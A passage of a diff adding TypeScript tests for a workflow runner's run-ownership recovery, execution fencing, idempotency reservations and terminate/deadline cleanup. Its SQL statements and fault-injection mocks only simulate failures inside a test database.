+            await fixture.domain.persistWorkflowSnapshot({
+              workflowName: 'zero',
+              runId: 'zero-run',
+              snapshot: {
+                runId: 'zero-run',
+                status: 'success',
+                result: {},
+                value: {},
+                context: {},
+                serializedStepGraph: [],
+                activePaths: [],
+                activeStepsPath: {},
+                suspendedPaths: {},
+                resumeLabels: {},
+                waitingPaths: {},
+                timestamp: 1,
+                requestContext: {
+                  'flowsafe.runProvenance': {
+                    version: 2,
+                    startToken: 'replacement-generation',
+                    attemptToken: 'replacement-attempt',
+                    resumeCounts: [],
+                    requestedBy: OWNER_PRINCIPAL.id,
+                    requestedByKind: 'human',
+                    startIdentity: {
+                      owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+                      target: { kind: 'workflow', id: 'zero' },
+                    },
+                  },
+                },
+              },
+            });
+            replacementRaw = await fixture.native.readSnapshot({
+              workflowId: 'zero',
+              runId: 'zero-run',
+            });
+            throw error;
+          }
+          if (mode === 'lookalike') {
+            const { ExecutionFencedError } = await import(
+              './execution-fence.js'
+            );
+            throw new ExecutionFencedError('draining', 'run start');
+          }
+          throw Object.assign(
+            new Error('serialized refusal'),
+            JSON.parse(
+              JSON.stringify({
+                status: (error as { status?: number }).status,
+                reason: (error as { reason?: unknown }).reason,
+              }),
+            ),
+          );
+        }
+      },
+    );
+    const first = await fixture.runner.fetch(
+      post('/runs', { workflowId: 'zero', runId: 'zero-run', inputData: {} }),
+    );
+    const journal = structuredClone(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    );
+    expect(journal).toMatchObject({
+      phase: 'prepared',
+      execution: { workflowId: 'zero', runId: 'zero-run' },
+    });
+    expect(fixture.effects()).toBe(0);
+    if (mode === 'foreign row')
+      expect(
+        await fixture.native.readSnapshot({
+          workflowId: 'zero',
+          runId: 'zero-run',
+        }),
+      ).toEqual(replacementRaw);
+    else
+      expect(
+        await fixture.native.readSnapshot({
+          workflowId: 'zero',
+          runId: 'zero-run',
+        }),
+      ).toBeUndefined();
+    expect(first.status).toBe(
+      mode === 'serialized' || mode === 'evicted frame' ? 500 : 503,
+    );
+    if (mode === 'evicted frame') {
+      const { isDefinitiveInitialAdmissionRefusal } = await import(
+        './initial-admission-refusal.js'
+      );
+      expect(
+        isDefinitiveInitialAdmissionRefusal(
+          originalFailure,
+          (
+            journal as {
+              execution: import('./execution-admission.js').D1RunExecutionIdentity;
+            }
+          ).execution,
+        ),
+      ).toBe(true);
+      const error = await fixture.runner
+        .alarm()
+        .catch((cause: unknown) => cause);
+      expect(
+        fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+      ).toEqual(journal);
+      expect(error).toMatchObject({ status: 503 });
+    }
+    await fixture.env.fence?.transition({ expected: 'draining', next: 'open' });
+    const retry = await fixture.runner.fetch(
+      post('/runs', { workflowId: 'zero', runId: 'zero-run', inputData: {} }),
+    );
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(journal);
+    expect(fixture.effects()).toBe(0);
+    expect(retry.status).toBe(503);
+  });
+  it('retains a paid unknown outcome when a fence lookalike follows real engine entry', async () => {
+    const fixture = await zeroFixture();
+    fixture.allowNext();
+    const nativeStart = fixture.app.runtime.start.bind(fixture.app.runtime);
+    vi.spyOn(fixture.app.runtime, 'start').mockImplementationOnce(
+      async (...args) => {
+        await nativeStart(...args);
+        await testDatabase(fixture.env.storage)
+          .prepare(
+            'DELETE FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?',
+          )
+          .bind('zero', 'zero-run')
+          .run();
+        const { ExecutionFencedError } = await import('./execution-fence.js');
+        throw new ExecutionFencedError('draining', 'run start');
+      },
+    );
+    const response = await fixture.runner.fetch(
+      post('/runs', { workflowId: 'zero', runId: 'zero-run', inputData: {} }),
+    );
+    expect(fixture.effects()).toBe(1);
+    expect(
+      await fixture.native.readSnapshot({
+        workflowId: 'zero',
+        runId: 'zero-run',
+      }),
+    ).toBeUndefined();
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toMatchObject({
+      phase: 'prepared',
+      execution: { workflowId: 'zero', runId: 'zero-run' },
+    });
+    expect(response.status).toBe(503);
+  });
+});
+
+describe('FS8 D3 host R1 ordinary legacy workflow lifecycle', () => {
+  it.each([
+    ['v1', 'terminate'],
+    ['absent', 'terminate'],
+    ['v1', 'deadline'],
+    ['absent', 'deadline'],
+  ] as const)('converges actual Core cleanup and replay with retained key (%s %s)', async (version, operation) => {
+    const fixture = await hostR1WorkflowFixture('custom-null');
+    const runId = 'legacy-run';
+    const reserved = await fixture.reservations.reserve({
+      key: 'retained-legacy-key',
+      owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+      targetKind: 'workflow',
+      targetId: 'host-r1',
+      mintRunId: () => runId,
+    });
+    const claim = await fixture.reservations.claimReservation(
+      reserved.reservation,
+    );
+    if (!claim) throw new Error('missing retained claim');
+    expect(
+      (
+        await fixture.runner.fetch(
+          post('/runs', {
+            workflowId: 'host-r1',
+            runId,
+            inputData: {},
+            deadlineMs: 0,
+            idempotencyKey: claim.key,
+            startReservation: claim,
+          }),
+        )
+      ).status,
+    ).toBe(200);
+    const snapshot = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId,
+    });
+    if (!snapshot?.requestContext)
+      throw new Error('missing actual Core snapshot');
+    if (version === 'v1')
+      snapshot.requestContext['flowsafe.runProvenance'] = {
+        version: 1,
+        attemptToken: 'host-r1-legacy-leg',
+        requestedBy: OWNER_PRINCIPAL.id,
+        requestedByKind: 'human',
+        resumeCounts: [],
+      };
+    else delete snapshot.requestContext['flowsafe.runProvenance'];
+    await fixture.workflows.persistWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId,
+      snapshot,
+    });
+    const bound = await fixture.reservations.readForAdmission(claim.key);
+    const lifecycle = snapshot.requestContext['flowsafe.runLifecycle'] as {
+      revision: number;
+      deadlineAt: number;
+    };
+    const events: string[] = [];
+    const approvals = vi.fn(async () => {
+      events.push('approvals');
+    });
+    fixture.env.lifecycle = { abandonApprovals: approvals };
+    const release = fixture.owners.release.bind(fixture.owners);
+    vi.spyOn(fixture.owners, 'release').mockImplementation(async (...args) => {
+      events.push('owner');
+      return release(...args);
+    });
+    const complete = fixture.app.runtime.completeTerminalCleanup.bind(
+      fixture.app.runtime,
+    );
+    vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup').mockImplementation(
+      async (...args) => {
+        events.push('completion');
+        return complete(...args);
+      },
+    );
+    const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution');
+    const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt');
+    const body =
+      operation === 'deadline'
+        ? {
+            expectedRevision: lifecycle.revision,
+            expectedDeadlineAt: lifecycle.deadlineAt,
+          }
+        : {};
+    const principal: ExecutionPrincipal =
+      operation === 'deadline'
+        ? {
+            kind: 'system',
+            id: 'maintenance',
+            purpose: 'run-deadline-maintenance',
+          }
+        : OWNER_PRINCIPAL;
+    const first = await fixture.runner.fetch(
+      post(`/runs/host-r1/${runId}/${operation}`, body, principal),
+    );
+    expect(await fixture.owners.owner('run', runId)).toBeUndefined();
+    expect(await fixture.reservations.readForAdmission(claim.key)).toEqual(
+      bound,
+    );
+    expect(events).toEqual(['approvals', 'owner', 'completion']);
+    expect(settle).not.toHaveBeenCalled();
+    expect(b2).not.toHaveBeenCalled();
+    expect(first.status).toBe(200);
+    const terminal = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId,
+    });
+    expect(terminal).toMatchObject({
+      status: operation === 'deadline' ? 'timed_out' : 'cancelled',
+      requestContext: {
+        'flowsafe.runLifecycle': {
+          terminal: { cleanupCompletedAt: expect.any(Number) },
+        },
+      },
+    });
+    const bytes = JSON.stringify(terminal);
+    const replay = await fixture.runner.fetch(
+      post(
+        `/runs/host-r1/${runId}/${operation === 'deadline' ? 'deadline' : 'terminate-replay'}`,
+        body,
+        principal,
+      ),
+    );
+    expect(
+      JSON.stringify(
+        await fixture.workflows.loadWorkflowSnapshot({
+          workflowName: 'host-r1',
+          runId,
+        }),
+      ),
+    ).toBe(bytes);
+    expect(await fixture.reservations.readForAdmission(claim.key)).toEqual(
+      bound,
+    );
+    expect(events).toEqual(['approvals', 'owner', 'completion']);
+    expect(fixture.effects()).toBe(1);
+    expect(replay.status).toBe(200);
+  });
+
+  it.each([
+    'v1',
+    'absent',
+  ] as const)('retains actual legacy ownership after hook failure and completes one retry (%s)', async (version) => {
+    const fixture = await hostR1WorkflowFixture('custom-null');
+    expect(
+      (
+        await fixture.runner.fetch(
+          post('/runs', {
+            workflowId: 'host-r1',
+            runId: 'legacy-retry',
+            inputData: {},
+          }),
+        )
+      ).status,
+    ).toBe(200);
+    const snapshot = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId: 'legacy-retry',
+    });
+    if (!snapshot?.requestContext) throw new Error('missing Core snapshot');
+    if (version === 'v1')
+      snapshot.requestContext['flowsafe.runProvenance'] = {
+        version: 1,
+        attemptToken: 'host-r1-legacy-leg',
+        requestedBy: OWNER_PRINCIPAL.id,
+        requestedByKind: 'human',
+        resumeCounts: [],
+      };
+    else delete snapshot.requestContext['flowsafe.runProvenance'];
+    await fixture.workflows.persistWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId: 'legacy-retry',
+      snapshot,
+    });
+    const approvals = vi
+      .fn(async () => {})
+      .mockRejectedValueOnce(new Error('approval receipt lost'));
+    fixture.env.lifecycle = { abandonApprovals: approvals };
+    const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup');
+    const first = await fixture.runner.fetch(
+      post('/runs/host-r1/legacy-retry/terminate', {}),
+    );
+    expect(await fixture.owners.owner('run', 'legacy-retry')).toEqual({
+      kind: 'human',
+      id: OWNER_PRINCIPAL.id,
+    });
+    expect(complete).not.toHaveBeenCalled();
+    expect(
+      (
+        await fixture.workflows.loadWorkflowSnapshot({
+          workflowName: 'host-r1',
+          runId: 'legacy-retry',
+        })
+      )?.status,
+    ).toBe('cancelled');
+    expect(first.status).toBe(500);
+    const retry = await fixture.runner.fetch(
+      post('/runs/host-r1/legacy-retry/terminate-replay', {}),
+    );
+    expect(await fixture.owners.owner('run', 'legacy-retry')).toBeUndefined();
+    expect(approvals).toHaveBeenCalledTimes(2);
+    expect(complete).toHaveBeenCalledOnce();
+    expect(fixture.effects()).toBe(1);
+    expect(retry.status).toBe(200);
+  });
+});
+
+describe('FS8 D3 host R1 workflow unfenced recovery', () => {
+  it.each([
+    ['custom-null', 'missing'],
+    ['custom-null', 'pending'],
+    ['custom-null', 'suspended'],
+    ['actual-prefix', 'missing'],
+    ['actual-prefix', 'pending'],
+    ['actual-prefix', 'suspended'],
+  ] as const)('retains keyed journal and ownership before missing-store refusal (%s %s)', async (mode, status) => {
+    const fixture = await hostR1WorkflowFixture(mode, false);
+    const runId = 'unfenced-run';
+    const execution = {
+      tablePrefix: mode === 'custom-null' ? null : 'host_r1_',
+      workflowId: 'host-r1',
+      runId,
+      startToken: 'unfenced-generation',
+    };
+    const reserved = await fixture.reservations.reserve({
+      key: 'unfenced-key',
+      owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id },
+      targetKind: 'workflow',
+      targetId: 'host-r1',
+      mintRunId: () => runId,
+    });
+    const claim = await fixture.reservations.claimReservation(
+      reserved.reservation,
+    );
+    if (!claim) throw new Error('missing claim');
+    await fixture.reservations.bindPreparedStart(claim, {
+      ...execution,
+      owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id },
+      target: { kind: 'workflow', id: 'host-r1' },
+    });
+    const journal = {
+      version: 2,
+      phase: 'prepared-unfenced',
+      workflowId: 'host-r1',
+      runId,
+      token: 'unfenced-attempt',
+      owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id },
+      execution,
+      startReservation: claim,
+    };
+    fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal);
+    await fixture.owners.reserveAll(
+      [{ kind: 'run', resourceId: runId }],
+      journal.owner,
+      journal.token,
+    );
+    if (status !== 'missing')
+      await fixture.workflows.persistWorkflowSnapshot({
+        workflowName: 'host-r1',
+        runId,
+        snapshot: {
+          runId,
+          status,
+          value: {},
+          context: {},
+          serializedStepGraph: [],
+          activePaths: [],
+          activeStepsPath: {},
+          suspendedPaths: {},
+          resumeLabels: {},
+          waitingPaths: {},
+          timestamp: 1,
+          requestContext: {
+            'flowsafe.runProvenance': {
+              version: 2,
+              startToken: execution.startToken,
+              attemptToken: journal.token,
+              resumeCounts: [],
+              startIdentity: {
+                owner: journal.owner,
+                target: { kind: 'workflow', id: 'host-r1' },
+              },
+            },
+          },
+        },
+      });
+    const before = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId,
+    });
+    const bound = await fixture.reservations.readForAdmission('unfenced-key');
+    const settle = vi.spyOn(fixture.owners, 'settleReservation');
+    const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt');
+    const outcome = await fixture.runner
+      .alarm()
+      .catch((error: unknown) => error);
+    expect(settle).not.toHaveBeenCalled();
+    expect(
+      await fixture.owners.reserveAll(
+        [{ kind: 'run', resourceId: runId }],
+        { kind: 'human', id: 'foreign' },
+        'foreign-attempt',
+      ),
+    ).toBe(false);
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(journal);
+    expect(await fixture.reservations.readForAdmission('unfenced-key')).toEqual(
+      bound,
+    );
+    expect(
+      await fixture.workflows.loadWorkflowSnapshot({
+        workflowName: 'host-r1',
+        runId,
+      }),
+    ).toEqual(before);
+    expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now());
+    expect(b2).not.toHaveBeenCalled();
+    expect(outcome).toMatchObject({ status: 503 });
+  });
+
+  it.each([
+    ['custom-null', 'missing'],
+    ['custom-null', 'pending'],
+    ['actual-prefix', 'missing'],
+    ['actual-prefix', 'pending'],
+  ] as const)('retains actual unkeyed unfenced absence or pending without B2 (%s %s)', async (mode, status) => {
+    const fixture = await hostR1WorkflowFixture(mode);
+    const runId = 'unkeyed-unfenced';
+    const execution = {
+      tablePrefix: mode === 'custom-null' ? null : 'host_r1_',
+      workflowId: 'host-r1',
+      runId,
+      startToken: 'unkeyed-generation',
+    };
+    const journal = {
+      version: 2,
+      phase: 'prepared-unfenced',
+      workflowId: 'host-r1',
+      runId,
+      token: 'unkeyed-attempt',
+      owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id },
+      execution,
+    };
+    fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal);
+    await fixture.owners.reserveAll(
+      [{ kind: 'run', resourceId: runId }],
+      journal.owner,
+      journal.token,
+    );
+    if (status === 'pending')
+      await fixture.workflows.persistWorkflowSnapshot({
+        workflowName: 'host-r1',
+        runId,
+        snapshot: {
+          runId,
+          status,
+          value: {},
+          context: {},
+          serializedStepGraph: [],
+          activePaths: [],
+          activeStepsPath: {},
+          suspendedPaths: {},
+          resumeLabels: {},
+          waitingPaths: {},
+          timestamp: 1,
+          requestContext: {
+            'flowsafe.runProvenance': {
+              version: 2,
+              startToken: execution.startToken,
+              attemptToken: journal.token,
+              resumeCounts: [],
+              startIdentity: {
+                owner: journal.owner,
+                target: { kind: 'workflow', id: 'host-r1' },
+              },
+            },
+          },
+        },
+      });
+    const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt');
+    const settle = vi.spyOn(fixture.owners, 'settleReservation');
+    const outcome = await fixture.runner
+      .alarm()
+      .catch((error: unknown) => error);
+    expect(settle).not.toHaveBeenCalled();
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(journal);
+    expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now());
+    expect(b2).not.toHaveBeenCalled();
+    if (status === 'pending') expect(outcome).toMatchObject({ status: 503 });
+    else expect(outcome).toBeUndefined();
+  });
+});
+
+describe('FS8 D3 host R1 workflow recovery object address', () => {
+  it.each([
+    ['preparing', 'workflow'],
+    ['preparing', 'run'],
+    ['prepared', 'workflow'],
+    ['prepared', 'run'],
+    ['prepared-unfenced', 'workflow'],
+    ['prepared-unfenced', 'run'],
+  ] as const)('preserves valid foreign address before Runtime and ownership (%s %s)', async (phase, mismatch) => {
+    const fixture = cWorkflowFixture(true);
+    const reservations = fixture.runtime.startIdempotency;
+    if (!reservations) throw new Error('missing foreign reservation store');
+    const reserved = await reservations.reserve({
+      key: 'foreign-address-key',
+      owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+      targetKind: 'workflow',
+      targetId: 'gated',
+      mintRunId: () => 'c-run',
+    });
+    const claim = await reservations.claimReservation(reserved.reservation);
+    if (!claim) throw new Error('missing foreign claim');
+    expect(
+      (
+        await fixture.runner.fetch(
+          post('/runs', {
+            ...C_WORKFLOW_BODY,
+            idempotencyKey: claim.key,
+            startReservation: claim,
+          }),
+        )
+      ).status,
+    ).toBe(200);
+    const bound = await reservations.readForAdmission(claim.key);
+    const selected = await fixture.runtime.authoritativeStartState(
+      'gated',
+      'c-run',
+    );
+    if (!selected) throw new Error('missing selected foreign row');
+    const workflowId = 'gated';
+    const runId = 'c-run';
+    const token = selected.provenance.attemptToken;
+    const snapshot = { ...selected.snapshot, status: 'pending' as const };
+    const workflows = await fixture.storage.getStore('workflows');
+    await workflows?.persistWorkflowSnapshot({
+      workflowName: workflowId,
+      runId,
+      snapshot,
+    });
+    const journal = {
+      version: 2,
+      phase,
+      workflowId,
+      runId,
+      owner: { kind: 'human' as const, id: OWNER_PRINCIPAL.id },
+      token,
+      startReservation: claim,
+      ...(phase === 'preparing' ? {} : { execution: selected.execution }),
+    };
+    fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal);
+    await testDatabase(fixture.storage)
+      .prepare(
+        'UPDATE flowsafe_resource_owners SET reservation_token = ? WHERE resource_kind = ? AND resource_id = ?',
+      )
+      .bind(token, 'run', runId)
+      .run();
+    const rows = await testDatabase(fixture.storage)
+      .prepare('SELECT * FROM flowsafe_resource_owners')
+      .all();
+    const recover = vi.spyOn(fixture.runtime, 'recoverStartAttempt');
+    const observe = vi.spyOn(fixture.runtime, 'authoritativeStartState');
+    const settle = vi.spyOn(fixture.env.owners, 'settleReservation');
+    const release = vi.spyOn(fixture.env.owners, 'release');
+    const hooks = { abandonApprovals: vi.fn(async () => {}) };
+    fixture.env.lifecycle = hooks;
+    const state = {
+      ...fixture.journal.state,
+      id: {
+        name:
+          mismatch === 'workflow' ? 'other-workflow:c-run' : 'gated:other-run',
+      },
+    } as DurableObjectState;
+    const foreign = new TestRunner(state, fixture.env);
+    const outcome = await foreign.alarm().catch((error: unknown) => error);
+    expect(
+      await testDatabase(fixture.storage)
+        .prepare('SELECT * FROM flowsafe_resource_owners')
+        .all(),
+    ).toEqual(rows);
+    expect(
+      await workflows?.loadWorkflowSnapshot({
+        workflowName: workflowId,
+        runId,
+      }),
+    ).toEqual(snapshot);
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toEqual(journal);
+    expect(await reservations.readForAdmission(claim.key)).toEqual(bound);
+    expect(recover).not.toHaveBeenCalled();
+    expect(observe).not.toHaveBeenCalled();
+    expect(settle).not.toHaveBeenCalled();
+    expect(release).not.toHaveBeenCalled();
+    expect(hooks.abandonApprovals).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    'own',
+    'undefined',
+  ] as const)('keeps supported workflow object name recovery (%s)', async (name) => {
+    const fixture = cWorkflowFixture(true);
+    expect(
+      (await fixture.runner.fetch(post('/runs', C_WORKFLOW_BODY))).status,
+    ).toBe(200);
+    const selected = await fixture.runtime.authoritativeStartState(
+      'gated',
+      'c-run',
+    );
+    if (!selected) throw new Error('missing own row');
+    const journal = await durableOwnerRecovery(
+      fixture.runtime,
+      'gated',
+      'c-run',
+      selected.provenance.attemptToken,
+    );
+    fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal);
+    const state = {
+      ...fixture.journal.state,
+      ...(name === 'own' ? { id: { name: 'gated:c-run' } } : {}),
+    } as DurableObjectState;
+    await new TestRunner(state, fixture.env).alarm();
+    expect(fixture.journal.values.has('flowsafe:run-owner-recovery:v1')).toBe(
+      false,
+    );
+    expect(await fixture.env.owners.owner('run', 'c-run')).toEqual({
+      kind: 'human',
+      id: OWNER_PRINCIPAL.id,
+    });
+  });
+});
+
+describe('FS8 D3 host R1 workflow keyed finalization preflight', () => {
+  it('retains the original journal claim during cold normal termination and replay without its store', async () => {
+    const fixture = await hostR1WorkflowFixture('custom-null');
+    const runId = 'cold-terminate';
+    const reserved = await fixture.reservations.reserve({
+      key: 'cold-terminate-key',
+      owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+      targetKind: 'workflow',
+      targetId: 'host-r1',
+      mintRunId: () => runId,
+    });
+    const claim = await fixture.reservations.claimReservation(
+      reserved.reservation,
+    );
+    if (!claim) throw new Error('missing original claim');
+    let prepared: unknown;
+    const put = fixture.journal.values.set.bind(fixture.journal.values);
+    const writes = vi
+      .spyOn(fixture.journal.values, 'set')
+      .mockImplementation((key, value) => {
+        if (
+          key === 'flowsafe:run-owner-recovery:v1' &&
+          value &&
+          typeof value === 'object' &&
+          (value as { phase?: unknown }).phase === 'prepared-unfenced'
+        )
+          prepared = structuredClone(value);
+        return put(key, value);
+      });
+    expect(
+      (
+        await fixture.runner.fetch(
+          post('/runs', {
+            workflowId: 'host-r1',
+            runId,
+            inputData: {},
+            idempotencyKey: claim.key,
+            startReservation: claim,
+          }),
+        )
+      ).status,
+    ).toBe(200);
+    writes.mockRestore();
+    expect(prepared).toMatchObject({
+      phase: 'prepared-unfenced',
+      startReservation: claim,
+    });
+    fixture.journal.values.set('flowsafe:run-owner-recovery:v1', prepared);
+    const cold = init(
+      { storage: fixture.storage },
+      {
+        executionFence: 'none',
+        startIdempotency: 'none',
+      },
+    );
+    const effects = vi.fn(async () => ({}));
+    cold
+      .createWorkflow({
+        id: 'host-r1',
+        inputSchema: z.object({}),
+        outputSchema: z.object({}),
+      })
+      .then(
+        cold.createStep({
+          id: 'gate',
+          inputSchema: z.object({}),
+          outputSchema: z.object({}),
+          execute: effects,
+        }),
+      )
+      .commit();
+    const hostRuntime = new Proxy({} as RunnerRuntime, {
+      get: (_target, property) => {
+        const value: unknown = Reflect.get(
+          cold.runtime,
+          property,
+          cold.runtime,
+        );
+        return typeof value === 'function' ? value.bind(cold.runtime) : value;
+      },
+    });
+    const approvals = vi.fn(async () => {});
+    const runner = new TestRunner(fixture.journal.state, {
+      ...fixture.env,
+      runtime: hostRuntime,
+      lifecycle: { abandonApprovals: approvals },
+    });
+    const before = await fixture.reservations.readForAdmission(claim.key);
+    const settle = vi.spyOn(fixture.owners, 'settleReservation');
+    const release = vi.spyOn(fixture.owners, 'release');
+    const completion = vi.spyOn(cold.runtime, 'completeTerminalCleanup');
+    for (const action of ['terminate', 'terminate-replay']) {
+      const response = await runner.fetch(
+        post(`/runs/host-r1/${runId}/${action}`, {}),
+      );
+      expect(await fixture.owners.owner('run', runId)).toEqual({
+        kind: 'human',
+        id: OWNER_PRINCIPAL.id,
+      });
+      expect(
+        fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+      ).toEqual(prepared);
+      expect(await fixture.reservations.readForAdmission(claim.key)).toEqual(
+        before,
+      );
+      expect(settle).not.toHaveBeenCalled();
+      expect(release).not.toHaveBeenCalled();
+      expect(approvals).not.toHaveBeenCalled();
+      expect(completion).not.toHaveBeenCalled();
+      expect(effects).not.toHaveBeenCalled();
+      expect(response.status).toBe(503);
+    }
+    expect(
+      (
+        await fixture.workflows.loadWorkflowSnapshot({
+          workflowName: 'host-r1',
+          runId,
+        })
+      )?.status,
+    ).toBe('cancelled');
+    expect(fixture.effects()).toBe(1);
+  });
+
+  it('retains prepared nonterminal ownership when the store disappears after native persistence', async () => {
+    const fixture = await hostR1WorkflowFixture('custom-null');
+    const reserved = await fixture.reservations.reserve({
+      key: 'workflow-finalizer-key',
+      owner: { kind: 'human', id: OWNER_PRINCIPAL.id },
+      targetKind: 'workflow',
+      targetId: 'host-r1',
+      mintRunId: () => 'finalizer-run',
+    });
+    const claim = await fixture.reservations.claimReservation(
+      reserved.reservation,
+    );
+    if (!claim) throw new Error('missing finalizer claim');
+    const native = fixture.app.runtime.start.bind(fixture.app.runtime);
+    vi.spyOn(fixture.app.runtime, 'start').mockImplementation(
+      async (...args) => {
+        const summary = await native(...args);
+        vi.spyOn(
+          fixture.app.runtime,
+          'startIdempotency',
+          'get',
+        ).mockReturnValue(undefined);
+        return summary;
+      },
+    );
+    const settle = vi.spyOn(fixture.owners, 'settleReservation');
+    const response = await fixture.runner.fetch(
+      post('/runs', {
+        workflowId: 'host-r1',
+        runId: 'finalizer-run',
+        inputData: {},
+        idempotencyKey: claim.key,
+        startReservation: claim,
+      }),
+    );
+    expect(settle).not.toHaveBeenCalled();
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+    ).toMatchObject({ phase: 'prepared-unfenced', startReservation: claim });
+    expect(
+      (
+        await fixture.workflows.loadWorkflowSnapshot({
+          workflowName: 'host-r1',
+          runId: 'finalizer-run',
+        })
+      )?.status,
+    ).toBe('suspended');
+    expect(
+      await fixture.reservations.readForAdmission(claim.key),
+    ).toMatchObject({ state: 'started', binding: { kind: 'bound' } });
+    expect(fixture.journal.alarms.at(-1)).toBeGreaterThan(Date.now());
+    expect(response.status).toBe(503);
+  });
+});
+
+describe('FS8 D3 host R1 workflow legacy cleanup wait guards', () => {
+  it.each([
+    'dispatch',
+    'owner release',
+    'completion',
+  ] as const)('retains a journal appearing during the final legacy %s wait', async (boundary) => {
+    const fixture = await hostR1WorkflowFixture('custom-null');
+    const runId = 'late-journal';
+    expect(
+      (
+        await fixture.runner.fetch(
+          post('/runs', {
+            workflowId: 'host-r1',
+            runId,
+            inputData: {},
+          }),
+        )
+      ).status,
+    ).toBe(200);
+    const snapshot = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId,
+    });
+    if (!snapshot?.requestContext) throw new Error('missing stored run');
+    delete snapshot.requestContext['flowsafe.runProvenance'];
+    snapshot.requestContext['flowsafe.runLifecycle'] = {
+      version: 1,
+      revision: 1,
+      scheduleDispatch: {
+        scheduleId: 'late-schedule',
+        dispatchId: 'late-dispatch',
+      },
+    };
+    await fixture.workflows.persistWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId,
+      snapshot,
+    });
+    const journal = { version: 1 };
+    const replace = () =>
+      fixture.journal.values.set('flowsafe:run-owner-recovery:v1', journal);
+    const dispatch = vi.fn(async () => {
+      if (boundary === 'dispatch') replace();
+    });
+    fixture.env.lifecycle = {
+      abandonApprovals: async () => {},
+      discardScheduleDispatch: dispatch,
+    };
+    const nativeRelease = fixture.owners.release.bind(fixture.owners);
+    const release = vi
+      .spyOn(fixture.owners, 'release')
+      .mockImplementation(async (...args) => {
+        const result = await nativeRelease(...args);
+        if (boundary === 'owner release') replace();
+        return result;
+      });
+    const nativeComplete = fixture.app.runtime.completeTerminalCleanup.bind(
+      fixture.app.runtime,
+    );
+    const complete = vi
+      .spyOn(fixture.app.runtime, 'completeTerminalCleanup')
+      .mockImplementation(async (...args) => {
+        const result = await nativeComplete(...args);
+        if (boundary === 'completion') replace();
+        return result;
+      });
+    const response = await fixture.runner.fetch(
+      post(`/runs/host-r1/${runId}/terminate`, {}),
+    );
+    expect(
+      fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+      await response.clone().text(),
+    ).toEqual(journal);
+    expect(await fixture.owners.owner('run', runId)).toEqual(
+      boundary === 'dispatch'
+        ? { kind: 'human', id: OWNER_PRINCIPAL.id }
+        : undefined,
+    );
+    expect(dispatch).toHaveBeenCalledOnce();
+    expect(release).toHaveBeenCalledTimes(boundary === 'dispatch' ? 0 : 1);
+    expect(complete).toHaveBeenCalledTimes(boundary === 'completion' ? 1 : 0);
+    expect(response.status).toBe(503);
+  });
+
+  it.each([
+    'journal',
+    'active execution',
+  ] as const)('retains owner after approval wait changes legacy authority (%s)', async (change) => {
+    const fixture = await hostR1WorkflowFixture('custom-null');
+    expect(
+      (
+        await fixture.runner.fetch(
+          post('/runs', {
+            workflowId: 'host-r1',
+            runId: 'legacy-wait',
+            inputData: {},
+          }),
+        )
+      ).status,
+    ).toBe(200);
+    const snapshot = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId: 'legacy-wait',
+    });
+    if (!snapshot?.requestContext) throw new Error('missing Core row');
+    delete snapshot.requestContext['flowsafe.runProvenance'];
+    await fixture.workflows.persistWorkflowSnapshot({
+      workflowName: 'host-r1',
+      runId: 'legacy-wait',
+      snapshot,
+    });
+    fixture.env.lifecycle = {
+      abandonApprovals: async () => {
+        if (change === 'journal')
+          fixture.journal.values.set('flowsafe:run-owner-recovery:v1', {
+            version: 1,
+          });
+        else vi.spyOn(fixture.app.runtime, 'isRunActive').mockReturnValue(true);
+      },
+    };
+    const release = vi.spyOn(fixture.owners, 'release');
+    const complete = vi.spyOn(fixture.app.runtime, 'completeTerminalCleanup');
+    const response = await fixture.runner.fetch(
+      post('/runs/host-r1/legacy-wait/terminate', {}),
+    );
+    expect(await fixture.owners.owner('run', 'legacy-wait')).toEqual({
+      kind: 'human',
+      id: OWNER_PRINCIPAL.id,
+    });
+    expect(release).not.toHaveBeenCalled();
+    expect(complete).not.toHaveBeenCalled();
+    if (change === 'journal')
+      expect(
+        fixture.journal.values.get('flowsafe:run-owner-recovery:v1'),
+      ).toEqual({ version: 1 });
